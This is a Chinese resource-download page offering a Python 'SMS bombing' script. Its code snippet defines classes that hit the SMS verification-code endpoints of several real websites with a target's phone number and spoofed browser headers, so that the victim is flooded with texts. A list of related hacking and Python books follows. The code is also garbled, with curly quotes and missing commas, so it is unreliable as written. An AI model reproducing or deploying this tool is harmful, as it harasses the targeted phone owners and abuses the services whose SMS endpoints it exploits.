资源简介
Python手机短信轰炸.py
代码片段和文件信息
#更多Python学习资料以及源码教程资料,可以加群821460695 免费获取
import requests
import time
import json
class SMSsend_one(object):
def __init__(selfmobile):
self.url = “http://bbs.mydigit.cn/registe.php“
self.header = {
“Referer“: “http: // bbs.mydigit.cn / registe.php“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
def get_response(self):
data = {
“action“: “auth“
“step“: “1“
“mobile“: self.mobile
}
try:
response = requests.post(url=self.url data=dataheaders=self.header)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format(self.urlself.mobile))
def run(self):
self.get_response()
class SMSsend_two(object):
“““世界经理人短信接口“““
def __init__(selfmobile):
self.url = “https://login.ceconline.com/thirdPartLogin.do“
self.header = {
“Referer“: “https://login.ceconline.com/pcMobileNumberRegister.do“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
def get_response(self):
time_now = int(time.time() * 1000)
data = {
“mobileNumber“: self.mobile
“method“: “getDynamicCode“
“verifyType“: “MOBILE_NUM_REG“
“captcharType“: ““
“time“: str(time_now)
}
try:
response = requests.post(url=self.url
data=data
headers=self.header
)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format(self.urlself.mobile))
def run(self):
self.get_response()
class SMSsend_three(object):
“““南通市机动车短信接口“““
def __init__(selfmobile):
self.url = “http://www.ntjxj.com/InternetWeb/SendYzmServlet“
self.header = {
“Referer“: “http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
def get_response(self):
data = {
“sjhm“: self.mobile
}
try:
response = requests.post(url=self.url
data=data
headers=self.header
)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format
相关资源
- CpuMemSets在Linux操作系统中的实现
- Python学习全系列教程永久可用
- 蓝奏云批量上传工具.zip
- python书籍 PDF
- 老男孩python项目实战
- Python.rar99111
- decision_tree_v2.py
- Python绝技运用Python成为顶级黑客.pdf
- python小波包文档及论文.zip
- Python黑帽子(黑客与渗透测试编程之
- FlaskWeb开发:基于Python的Web应用开发实
- Python基础教程第3版中英文源码.rar
- python数据结构与算法中文版.zip
- Python-冲顶大会芝士超人西瓜视频头脑
- time_series_forecasting_with_python.zip
- Python基础教程第三版PDF高清可复制.
- python编程从入门到实践.zip237878
- FlaskWeb开发:Python基于Web应用开发实战
- pythonBCRMDSJ.mobi
- 量化交易之路用Python做股票量化分析
- PYTHON自然语言处理中文版.pdf
- Python基础教程(第3版).rar
- GRAYHATPYTHON高清.英文.书签版.pdf
- Python简明教程第四版.rar
- Python编程:从入门到实践带书签完整
- Python基础教程(第3版).pdf109608
- vamei-从Python开始学编程.pdf
- 利用Python进行数据分析.pdf
- 小甲鱼零基础学python课后习题和答案
- Python编程:从入门到实践-PythonCrashC
评论
共有 条评论